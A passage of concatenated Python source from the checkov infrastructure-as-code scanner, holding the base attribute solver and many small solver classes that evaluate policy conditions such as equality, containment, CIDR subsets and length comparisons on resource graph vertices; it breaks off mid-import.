passed_vertices: List[Dict[str, Any]] = [] failed_vertices: List[Dict[str, Any]] = [] unknown_vertices: List[Dict[str, Any]] = [] if isinstance(graph_connector, DiGraph): for _, data in graph_connector.nodes(data=True): if self.resource_type_pred(data, self.resource_types) \ and data.get(CustomAttributes.BLOCK_TYPE) in SUPPORTED_BLOCK_TYPES: jobs.append(executer.submit( self._process_node, data, passed_vertices, failed_vertices, unknown_vertices)) concurrent.futures.wait(jobs) return passed_vertices, failed_vertices, unknown_vertices for _, data in graph_connector.nodes(): if self.resource_type_pred(data, self.resource_types) and data.get(CustomAttributes.BLOCK_TYPE) in SUPPORTED_BLOCK_TYPES: jobs.append(executer.submit( self._process_node, data, passed_vertices, failed_vertices, unknown_vertices)) concurrent.futures.wait(jobs) return passed_vertices, failed_vertices, unknown_vertices def get_operation(self, vertex: Dict[str, Any]) -> Optional[bool]: # if this value contains an underendered variable, then we cannot evaluate value checks, # and will return None (for UNKNOWN) # handle edge cases in some policies that explicitly look for blank values # we also need to check the attribute stack - e.g., if they are looking for tags.component, but tags = local.tags, # then we actually need to see if tags is variable dependent as well attr_parts = self.attribute.split('.') # type:ignore[union-attr] # due to attribute can be None (but not really) attr_to_check = None for attr in attr_parts: attr_to_check = f'{attr_to_check}.{attr}' if attr_to_check else attr value_to_check = vertex.get(attr_to_check) value_to_check = self._render_json_str(value_to_check, attr, vertex) # we can only check is_attribute_value_check when evaluating the full attribute # for example, if we have a policy that says "tags.component exists", and tags = local.tags, then # we need to check if tags is variable dependent even though this is a not value_attribute check if (attr_to_check != self.attribute or self.is_value_attribute_check) \ and self._is_variable_dependant(value_to_check, vertex['source_']) \ and self.value != '': return None if self.attribute and (self.is_jsonpath_check or re.match(WILDCARD_PATTERN, self.attribute)): attribute_matches = self.get_attribute_matches(vertex) filtered_attribute_matches = attribute_matches if self.is_value_attribute_check and self.value != '': filtered_attribute_matches = [] for attribute in attribute_matches: resource_variable_dependant = self._is_variable_dependant(vertex.get(attribute), vertex['source_']) policy_variable_dependant = self._is_variable_dependant(self.value, vertex['source_']) if not resource_variable_dependant or resource_variable_dependant and policy_variable_dependant: filtered_attribute_matches.append(attribute) if attribute_matches: result = self._evaluate_attribute_matches( vertex=vertex, attribute_matches=attribute_matches, filtered_attribute_matches=filtered_attribute_matches, ) if result is not None: # skip unknown debug.attribute_block( resource_types=self.resource_types, attribute=self.attribute, operator=self.operator, value=self.value, resource=vertex, status="passed" if result is True else "failed", ) return result result = self.resource_type_pred(vertex, self.resource_types) and self._get_operation( vertex=vertex, attribute=self.attribute ) debug.attribute_block( resource_types=self.resource_types, attribute=self.attribute, operator=self.operator, value=self.value, resource=vertex, status="passed" if result is True else "failed", ) return result def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: raise NotImplementedError def _process_node( self, data: Dict[str, Any], passed_vartices: List[Dict[str, Any]], failed_vertices: List[Dict[str, Any]], unknown_vertices: List[Dict[str, Any]] ) -> None: if not self.resource_type_pred(data, self.resource_types): return result = self.get_operation(vertex=data) # A None indicate for UNKNOWN result - the vertex shouldn't be added to the passed or the failed vertices if result is None: unknown_vertices.append(data) elif result: passed_vartices.append(data) else: failed_vertices.append(data) # override in case we need to check all values in a list def should_check_all_condition(self) -> bool: return self.is_jsonpath_check def _evaluate_attribute_matches( self, vertex: dict[str, Any], attribute_matches: list[str], filtered_attribute_matches: list[str] ) -> bool | None: if self.should_check_all_condition(): if self.resource_type_pred(vertex, self.resource_types) and all( self._get_operation(vertex=vertex, attribute=attr) for attr in filtered_attribute_matches ): return True if len(attribute_matches) == len(filtered_attribute_matches) else None return False if self.resource_type_pred(vertex, self.resource_types) and any( self._get_operation(vertex=vertex, attribute=attr) for attr in filtered_attribute_matches ): return True return False if len(attribute_matches) == len(filtered_attribute_matches) else None def get_attribute_matches(self, vertex: Dict[str, Any]) -> List[str]: try: attribute_matches: List[str] = [] if self.is_jsonpath_check and self.attribute: parsed_attr = self._get_cached_jsonpath_statement(statement=self.attribute) for match in parsed_attr.find(vertex): full_path = str(match.full_path) if full_path not in vertex: vertex[full_path] = match.value attribute_matches.append(full_path) elif isinstance(self.attribute, str): attribute_patterns = self.get_attribute_patterns(self.attribute) attribute_parts = [attr for attr in self.attribute.split(".") if attr != "*"] for attr in vertex: if any(part not in attr for part in attribute_parts): # if even one attribute part doesn't exist in the vertex attribute, then no need to further proceed continue if any(re.match(attribute_pattern, attr) for attribute_pattern in attribute_patterns): attribute_matches.append(attr) return attribute_matches except Exception: logging.debug('Error parsing or evaluating jsonpath expression', exc_info=True) raise @staticmethod def get_attribute_patterns(attribute: str) -> Tuple[Pattern[str], Pattern[str]]: index_pattern = r"[\d]+" split_by_dots = attribute.split(".") pattern_parts = [] pattern_parts_without_index = [] for attr_part in split_by_dots: if attr_part == "*": pattern_parts.append(index_pattern) else: attr_part_pattern = f"({attr_part})" pattern_parts.append(attr_part_pattern) pattern_parts_without_index.append(attr_part_pattern) pattern = f'^{"[.]".join(pattern_parts)}$' pattern_with_index = re.compile(pattern) pattern = f'^{"[.]".join(pattern_parts_without_index)}$' pattern_without_index = re.compile(pattern) return pattern_with_index, pattern_without_index @staticmethod def _is_variable_dependant(value: Any, source: str) -> bool: if source.lower() == 'terraform' and is_terraform_variable_dependent(value): return True # TODO add logic for CloudFormation # elif source == 'CloudFormation' and is_cloudformation_variable_dependent(value): # return True return False @staticmethod def _render_json_str(value_to_check: Any, attr: str, vertex: Dict[str, Any]) -> Any: if attr == 'policy' and vertex.get('resource_type', '').endswith('policy'): if isinstance(value_to_check, dict): # it was already properly loaded return value_to_check try: value_to_check = json.loads(value_to_check) return value_to_check except Exception as e: logging.info(f'cant parse policy str to object, {str(e)}') return value_to_check def _get_cached_jsonpath_statement(self, statement: str) -> JSONPath: """Returns the parsed jsonpath statement from the cache or adds it""" if statement not in BaseAttributeSolver.jsonpath_parsed_statement_cache: parsed_attr = parse(statement) BaseAttributeSolver.jsonpath_parsed_statement_cache[statement] = parsed_attr return parsed_attr return BaseAttributeSolver.jsonpath_parsed_statement_cache[statement] ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/base_number_of_words_attribute_solver.py ================================================ from __future__ import annotations from typing import Any, TYPE_CHECKING from checkov.common.graph.checks_infra.enums import Operators from checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver from checkov.common.util.type_forcers import force_int if TYPE_CHECKING: from typing_extensions import TypeGuard class BaseNumberOfWordsAttributeSolver(BaseAttributeSolver): operator = Operators.NUMBER_OF_WORDS_GREATER_THAN # noqa: CCE003 # a static attribute def _validate_vertex_value(self, attr: Any) -> TypeGuard[str]: return isinstance(attr, str) def _get_number_of_words(self, attr: str) -> int: return len(attr.split()) def _numerize_value(self) -> int | None: return force_int(self.value) def _get_operation(self, vertex: dict[str, Any], attribute: str | None) -> bool: attr = vertex.get(attribute) # type:ignore[arg-type] # due to attribute can be None return self._validate_vertex_value(attr) ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/cidr_range_not_subset_attribute_solver.py ================================================ from typing import Optional, Any, Dict from checkov.common.checks_infra.solvers.attribute_solvers.cidr_range_subset_attribute_solver import CIDRRangeSubsetAttributeSolver from checkov.common.graph.checks_infra.enums import Operators class CIDRRangeNotSubsetAttributeSolver(CIDRRangeSubsetAttributeSolver): operator = Operators.CIDR_RANGE_NOT_SUBSET # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: return not super()._get_operation(vertex, attribute) ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/cidr_range_subset_attribute_solver.py ================================================ from typing import Optional, Any, Dict, Set, Tuple, Union, List import ipaddress from checkov.common.graph.checks_infra.enums import Operators from checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver class CIDRRangeSubsetAttributeSolver(BaseAttributeSolver): operator = Operators.CIDR_RANGE_SUBSET # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: if attribute is None: return False # Explicitly handle None attribute attr_val = vertex.get(attribute) if not attr_val: return False # Convert the solver value into sets of IPv4 and IPv6 CIDR networks allowed_ranges_v4, allowed_ranges_v6 = self._to_cidr_sets(self.value) # Convert the vertex attribute to sets of IPv4 and IPv6 CIDR networks vertex_ranges_v4, vertex_ranges_v6 = self._to_cidr_sets(attr_val) # Check if all vertex ranges are subsets of at least one of the allowed ranges v4_subset_check = all( any(vertex_cidr.subnet_of(allowed_cidr) for allowed_cidr in allowed_ranges_v4) for vertex_cidr in vertex_ranges_v4 ) v6_subset_check = all( any(vertex_cidr.subnet_of(allowed_cidr) for allowed_cidr in allowed_ranges_v6) for vertex_cidr in vertex_ranges_v6 ) return v4_subset_check and v6_subset_check @staticmethod def _to_cidr_sets(value: Union[str, List[str], Set[str]]) -> Tuple[Set[ipaddress.IPv4Network], Set[ipaddress.IPv6Network]]: """ Converts a value (string, list, set, etc.) into separate sets of IPv4Network and IPv6Network objects. """ cidr_set_v4 = set() cidr_set_v6 = set() if isinstance(value, str): network = ipaddress.ip_network(value, strict=False) if isinstance(network, ipaddress.IPv4Network): cidr_set_v4.add(network) elif isinstance(network, ipaddress.IPv6Network): cidr_set_v6.add(network) elif isinstance(value, (list, set)): for v in value: network = ipaddress.ip_network(v, strict=False) if isinstance(network, ipaddress.IPv4Network): cidr_set_v4.add(network) elif isinstance(network, ipaddress.IPv6Network): cidr_set_v6.add(network) else: raise ValueError(f"Unsupported type for CIDR conversion: {type(value)}") return cidr_set_v4, cidr_set_v6 ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/contains_attribute_solver.py ================================================ import json import logging from typing import Optional, Any, Dict from checkov.common.graph.checks_infra.enums import Operators from checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger logger = logging.getLogger(__name__) add_resource_code_filter_to_logger(logger) class ContainsAttributeSolver(BaseAttributeSolver): operator = Operators.CONTAINS # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: att = vertex.get(attribute, "{}") # type:ignore[arg-type] # due to attribute can be None att = "{}" if att is None else att if isinstance(att, str): try: att = json.loads(att.replace("'", '"')) except ValueError: pass if isinstance(att, dict): return self.value in att or any(self.value in val for val in att.values() if type(val) in [str, list, set, dict]) return self.value in att ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/ending_with_attribute_solver.py ================================================ from typing import Optional, Any, Dict from checkov.common.graph.checks_infra.enums import Operators from checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver class EndingWithAttributeSolver(BaseAttributeSolver): operator = Operators.CONTAINS # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: attr = vertex.get(attribute) # type:ignore[arg-type] # due to attribute can be None return isinstance(attr, str) and attr.endswith(self.value) ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/equals_attribute_solver.py ================================================ from typing import Optional, Any, Dict from checkov.common.graph.checks_infra.enums import Operators from checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver class EqualsAttributeSolver(BaseAttributeSolver): operator = Operators.EQUALS # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: attr_val = vertex.get(attribute) # type:ignore[arg-type] # due to attribute can be None if isinstance(attr_val, bool) or isinstance(self.value, bool): # handle cases like str(False) == "false" # generally self.value will be a string, but could be a bool if the policy was created straight from json return str(attr_val).lower() == str(self.value).lower() elif (isinstance(attr_val, list) and isinstance(self.value, list)) or (isinstance(attr_val, dict) and isinstance(self.value, dict)): return attr_val == self.value else: return str(attr_val) == str(self.value) ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/equals_ignore_case_attribute_solver.py ================================================ from typing import Optional, Any, Dict from checkov.common.graph.checks_infra.enums import Operators from checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver class EqualsIgnoreCaseAttributeSolver(BaseAttributeSolver): operator = Operators.EQUALS_IGNORE_CASE # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: attr_val = vertex.get(attribute) # type:ignore[arg-type] # due to attribute can be None # if this value contains an underendered variable, then we cannot evaluate the check, # so return True (since we cannot return UNKNOWN) # handle edge cases in some policies that explicitly look for blank values if self.value != '' and self._is_variable_dependant(attr_val, vertex['source_']): return True return str(attr_val).lower() == str(self.value).lower() ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/exists_attribute_solver.py ================================================ from typing import Optional, Any, Dict from checkov.common.graph.checks_infra.enums import Operators from checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver class ExistsAttributeSolver(BaseAttributeSolver): operator = Operators.EXISTS # noqa: CCE003 # a static attribute is_value_attribute_check = False # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: return vertex.get(attribute) is not None # type:ignore[arg-type] # due to attribute can be None ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/greater_than_attribute_solver.py ================================================ from typing import Optional, Any, Dict from checkov.common.graph.checks_infra.enums import Operators from checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver from checkov.common.util.type_forcers import force_float class GreaterThanAttributeSolver(BaseAttributeSolver): operator = Operators.GREATER_THAN # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: vertex_attr = vertex.get(attribute) # type:ignore[arg-type] # due to attribute can be None attr_float = force_float(vertex_attr) value_float = force_float(self.value) if vertex_attr is None: return False elif attr_float and value_float: return attr_float > value_float else: return str(vertex_attr) > str(self.value) ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/greater_than_or_equal_attribute_solver.py ================================================ from typing import Optional, Any, Dict from checkov.common.graph.checks_infra.enums import Operators from checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver from checkov.common.util.type_forcers import force_float class GreaterThanOrEqualAttributeSolver(BaseAttributeSolver): operator = Operators.GREATER_THAN_OR_EQUAL # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: vertex_attr = vertex.get(attribute) # type:ignore[arg-type] # due to attribute can be None attr_float = force_float(vertex_attr) value_float = force_float(self.value) if vertex_attr is None: return False elif attr_float and value_float: return attr_float >= value_float else: return str(vertex_attr) >= str(self.value) ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/intersects_attribute_solver.py ================================================ from typing import Optional, Any, Dict, Collection from collections.abc import Iterable from checkov.common.graph.checks_infra.enums import Operators from checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver class IntersectsAttributeSolver(BaseAttributeSolver): operator = Operators.INTERSECTS # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: attr = vertex.get(attribute) # type:ignore[arg-type] # due to attribute can be None if isinstance(self.value, str) and isinstance(attr, Iterable): return self.value in attr if isinstance(self.value, Collection) and isinstance(attr, Iterable): return any(i in self.value for i in attr) return False ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/is_empty_attribute_solver.py ================================================ from typing import Optional, Any, Dict from collections.abc import Collection import hcl2 from checkov.common.graph.checks_infra.enums import Operators from checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver from checkov.common.util.consts import START_LINE, END_LINE class IsEmptyAttributeSolver(BaseAttributeSolver): operator = Operators.IS_EMPTY # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: attr = vertex.get(attribute) # type:ignore[arg-type] # due to attribute can be None if isinstance(attr, (list, Collection)): if len(attr) == 0 \ or (len(attr) == 2 and START_LINE in attr and END_LINE in attr) \ or (len(attr) == 2 and hcl2.START_LINE in attr and hcl2.END_LINE in attr): return True return False ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/is_false_attribute_solver.py ================================================ from typing import Optional, Any, Dict from checkov.common.graph.checks_infra.enums import Operators from .is_true_attribute_solver import IsTrueAttributeSolver class IsFalseAttributeSolver(IsTrueAttributeSolver): operator = Operators.IS_FALSE # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: return not super()._get_operation(vertex, attribute) ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/is_not_empty_attribute_solver.py ================================================ from typing import Optional, Any, Dict from checkov.common.graph.checks_infra.enums import Operators from .is_empty_attribute_solver import IsEmptyAttributeSolver class IsNotEmptyAttributeSolver(IsEmptyAttributeSolver): operator = Operators.IS_NOT_EMPTY # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: return not super()._get_operation(vertex, attribute) ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/is_true_attribute_solver.py ================================================ from typing import Optional, Any, Dict from checkov.common.graph.checks_infra.enums import Operators from checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver class IsTrueAttributeSolver(BaseAttributeSolver): operator = Operators.IS_TRUE # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: attr = vertex.get(attribute) # type:ignore[arg-type] # due to attribute can be None if attr is None: return False return attr is True ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/length_equals_attribute_solver.py ================================================ from typing import Optional, Any, Dict from collections.abc import Sized from checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver from checkov.common.graph.checks_infra.enums import Operators from checkov.common.util.type_forcers import force_int class LengthEqualsAttributeSolver(BaseAttributeSolver): operator = Operators.LENGTH_EQUALS # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: if vertex.get(attribute) is None: # type:ignore[arg-type] # due to attribute can be None return False attr = vertex.get(attribute) # type:ignore[arg-type] # due to attribute can be None if isinstance(attr, Sized): # this resolver assumes the attribute is a string or a list. # if a dict is received, default the length to 1. if isinstance(attr, dict): return 1 == force_int(self.value) return len(attr) == force_int(self.value) return False ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/length_greater_than_attribute_solver.py ================================================ from typing import Optional, Any, Dict from collections.abc import Sized from checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver from checkov.common.graph.checks_infra.enums import Operators from checkov.common.util.type_forcers import force_int class LengthGreaterThanAttributeSolver(BaseAttributeSolver): operator = Operators.LENGTH_GREATER_THAN # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: attr = vertex.get(attribute) # type:ignore[arg-type] # due to attribute can be None if attr is None: return False value_int = force_int(self.value) if value_int is None: return False if isinstance(attr, Sized): # this resolver assumes the attribute is a string or a list. # if a dict is received, default the length to 1. if isinstance(attr, dict): return 1 > value_int return len(attr) > value_int return False ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/length_greater_than_or_equal_attribute_solver.py ================================================ from typing import Optional, Any, Dict from collections.abc import Sized from checkov.common.util.type_forcers import force_int from .length_less_than_attribute_solver import LengthLessThanAttributeSolver from checkov.common.graph.checks_infra.enums import Operators class LengthGreaterThanOrEqualAttributeSolver(LengthLessThanAttributeSolver): operator = Operators.LENGTH_GREATER_THAN_OR_EQUAL # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: attr = vertex.get(attribute) # type:ignore[arg-type] # due to attribute can be None if attr is None: return False value_int = force_int(self.value) if value_int is None: return False if isinstance(attr, Sized): # this resolver assumes the attribute is a string or a list. # if a dict is received, default the length to 1. if isinstance(attr, dict): return 1 >= value_int return len(attr) >= value_int return False ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/length_less_than_attribute_solver.py ================================================ from typing import Optional, Any, Dict from collections.abc import Sized from checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver from checkov.common.graph.checks_infra.enums import Operators from checkov.common.util.type_forcers import force_int class LengthLessThanAttributeSolver(BaseAttributeSolver): operator = Operators.LENGTH_LESS_THAN # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: attr = vertex.get(attribute) # type:ignore[arg-type] # due to attribute can be None if attr is None: return False value_int = force_int(self.value) if value_int is None: return False if isinstance(attr, Sized): # this resolver assumes the attribute is a string or a list. # if a dict is received, default the length to 1. if isinstance(attr, dict): return 1 < value_int return len(attr) < value_int return False ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/length_less_than_or_equal_attribute_solver.py ================================================ from typing import Optional, Any, Dict from collections.abc import Sized from checkov.common.util.type_forcers import force_int from .length_greater_than_attribute_solver import LengthGreaterThanAttributeSolver from checkov.common.graph.checks_infra.enums import Operators class LengthLessThanOrEqualAttributeSolver(LengthGreaterThanAttributeSolver): operator = Operators.LENGTH_LESS_THAN_OR_EQUAL # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: attr = vertex.get(attribute) # type:ignore[arg-type] # due to attribute can be None if attr is None: return False value_int = force_int(self.value) if value_int is None: return False if isinstance(attr, Sized): # this resolver assumes the attribute is a string or a list. # if a dict is received, default the length to 1. if isinstance(attr, dict): return 1 <= value_int return len(attr) <= value_int return False ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/length_not_equals_attribute_solver.py ================================================ from typing import Optional, Any, Dict from .length_equals_attribute_solver import LengthEqualsAttributeSolver from checkov.common.graph.checks_infra.enums import Operators class LengthNotEqualsAttributeSolver(LengthEqualsAttributeSolver): operator = Operators.LENGTH_NOT_EQUALS # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: return not super()._get_operation(vertex, attribute) ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/less_than_attribute_solver.py ================================================ from typing import Optional, Any, Dict from checkov.common.graph.checks_infra.enums import Operators from .greater_than_or_equal_attribute_solver import GreaterThanOrEqualAttributeSolver class LessThanAttributeSolver(GreaterThanOrEqualAttributeSolver): operator = Operators.LESS_THAN # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: if vertex.get(attribute) is None: # type:ignore[arg-type] # due to attribute can be None return False return not super()._get_operation(vertex, attribute) ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/less_than_or_equal_attribute_solver.py ================================================ from typing import Optional, Any, Dict from checkov.common.graph.checks_infra.enums import Operators from .greater_than_attribute_solver import GreaterThanAttributeSolver class LessThanOrEqualAttributeSolver(GreaterThanAttributeSolver): operator = Operators.LESS_THAN_OR_EQUAL # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: if vertex.get(attribute) is None: # type:ignore[arg-type] # due to attribute can be None return False return not super()._get_operation(vertex, attribute) ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/not_contains_attribute_solver.py ================================================ from typing import Optional, Any, Dict from checkov.common.graph.checks_infra.enums import Operators from .contains_attribute_solver import ContainsAttributeSolver class NotContainsAttributeSolver(ContainsAttributeSolver): operator = Operators.NOT_CONTAINS # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: return not super()._get_operation(vertex, attribute) def should_check_all_condition(self) -> bool: return True ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/not_ending_with_attribute_solver.py ================================================ from typing import Optional, Any, Dict from checkov.common.graph.checks_infra.enums import Operators from .ending_with_attribute_solver import EndingWithAttributeSolver class NotEndingWithAttributeSolver(EndingWithAttributeSolver): operator = Operators.NOT_ENDING_WITH # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: return not super()._get_operation(vertex, attribute) ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/not_equals_attribute_solver.py ================================================ from typing import Optional, Any, Dict from checkov.common.graph.checks_infra.enums import Operators from .equals_attribute_solver import EqualsAttributeSolver class NotEqualsAttributeSolver(EqualsAttributeSolver): operator = Operators.NOT_EQUALS # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: return not super()._get_operation(vertex, attribute) ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/not_equals_ignore_case_attribute_solver.py ================================================ from typing import Optional, Any, Dict from checkov.common.graph.checks_infra.enums import Operators from .equals_ignore_case_attribute_solver import EqualsIgnoreCaseAttributeSolver class NotEqualsIgnoreCaseAttributeSolver(EqualsIgnoreCaseAttributeSolver): operator = Operators.NOT_EQUALS_IGNORE_CASE # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: return not super()._get_operation(vertex, attribute) ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/not_exists_attribute_solver.py ================================================ from typing import Optional, Any, Dict from checkov.common.graph.checks_infra.enums import Operators from .exists_attribute_solver import ExistsAttributeSolver class NotExistsAttributeSolver(ExistsAttributeSolver): operator = Operators.NOT_EXISTS # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: return not super()._get_operation(vertex, attribute) ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/not_intersects_attribute_solver.py ================================================ from typing import Optional, Any, Dict from checkov.common.graph.checks_infra.enums import Operators from .intersects_attribute_solver import IntersectsAttributeSolver class NotIntersectsAttributeSolver(IntersectsAttributeSolver): operator = Operators.NOT_INTERSECTS # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: return not super()._get_operation(vertex, attribute) ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/not_regex_match_attribute_solver.py ================================================ from typing import Optional, Any, Dict from checkov.common.graph.checks_infra.enums import Operators from .regex_match_attribute_solver import RegexMatchAttributeSolver class NotRegexMatchAttributeSolver(RegexMatchAttributeSolver): operator = Operators.NOT_REGEX_MATCH # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: return not super()._get_operation(vertex, attribute) ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/not_starting_with_attribute_solver.py ================================================ from typing import Optional, Any, Dict from checkov.common.graph.checks_infra.enums import Operators from .starting_with_attribute_solver import StartingWithAttributeSolver class NotStartingWithAttributeSolver(StartingWithAttributeSolver): operator = Operators.NOT_STARTING_WITH # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: return not super()._get_operation(vertex, attribute) ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/not_subset_attribute_solver.py ================================================ from typing import Optional, Any, Dict from checkov.common.checks_infra.solvers.attribute_solvers.subset_attribute_solver import SubsetAttributeSolver from checkov.common.graph.checks_infra.enums import Operators class NotSubsetAttributeSolver(SubsetAttributeSolver): operator = Operators.NOT_SUBSET # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: return not super()._get_operation(vertex, attribute) ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/not_within_attribute_solver.py ================================================ from typing import Optional, Any, Dict from checkov.common.graph.checks_infra.enums import Operators from .within_attribute_solver import WithinAttributeSolver class NotWithinAttributeSolver(WithinAttributeSolver): operator = Operators.NOT_WITHIN # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: return not super()._get_operation(vertex, attribute) ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/number_of_words_equals_attribute_solver.py ================================================ from typing import Optional, Any, Dict from checkov.common.checks_infra.solvers.attribute_solvers.base_number_of_words_attribute_solver import \ BaseNumberOfWordsAttributeSolver # checkov:skip=CKV_SECRET_256 from checkov.common.graph.checks_infra.enums import Operators class NumberOfWordsEqualsAttributeSolver(BaseNumberOfWordsAttributeSolver): operator = Operators.NUMBER_OF_WORDS_EQUALS # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: attr = vertex.get(attribute) # type:ignore[arg-type] # due to attribute can be None if not self._validate_vertex_value(attr): return False num_of_words = self._get_number_of_words(attr) value_numeric = self._numerize_value() return num_of_words == value_numeric ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/number_of_words_greater_than_attribute_solver.py ================================================ from typing import Optional, Any, Dict from checkov.common.checks_infra.solvers.attribute_solvers.base_number_of_words_attribute_solver import \ BaseNumberOfWordsAttributeSolver # checkov:skip=CKV_SECRET_256 from checkov.common.graph.checks_infra.enums import Operators class NumberOfWordsGreaterThanAttributeSolver(BaseNumberOfWordsAttributeSolver): operator = Operators.NUMBER_OF_WORDS_GREATER_THAN # noqa: CCE003 # a static attribute def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool: attr = vertex.get(attribute) # type:ignore[arg-type] # due to attribute can be None if not self._validate_vertex_value(attr): return False num_of_words = self._get_number_of_words(attr) value_numeric = self._numerize_value() if value_numeric is None: return False return num_of_words > value_numeric ================================================ FILE: checkov/common/checks_infra/solvers/attribute_solvers/number_of_words_greater_than_or_equal_attribute_solver.py ================================================ from typing import Optional, Any, Dict from 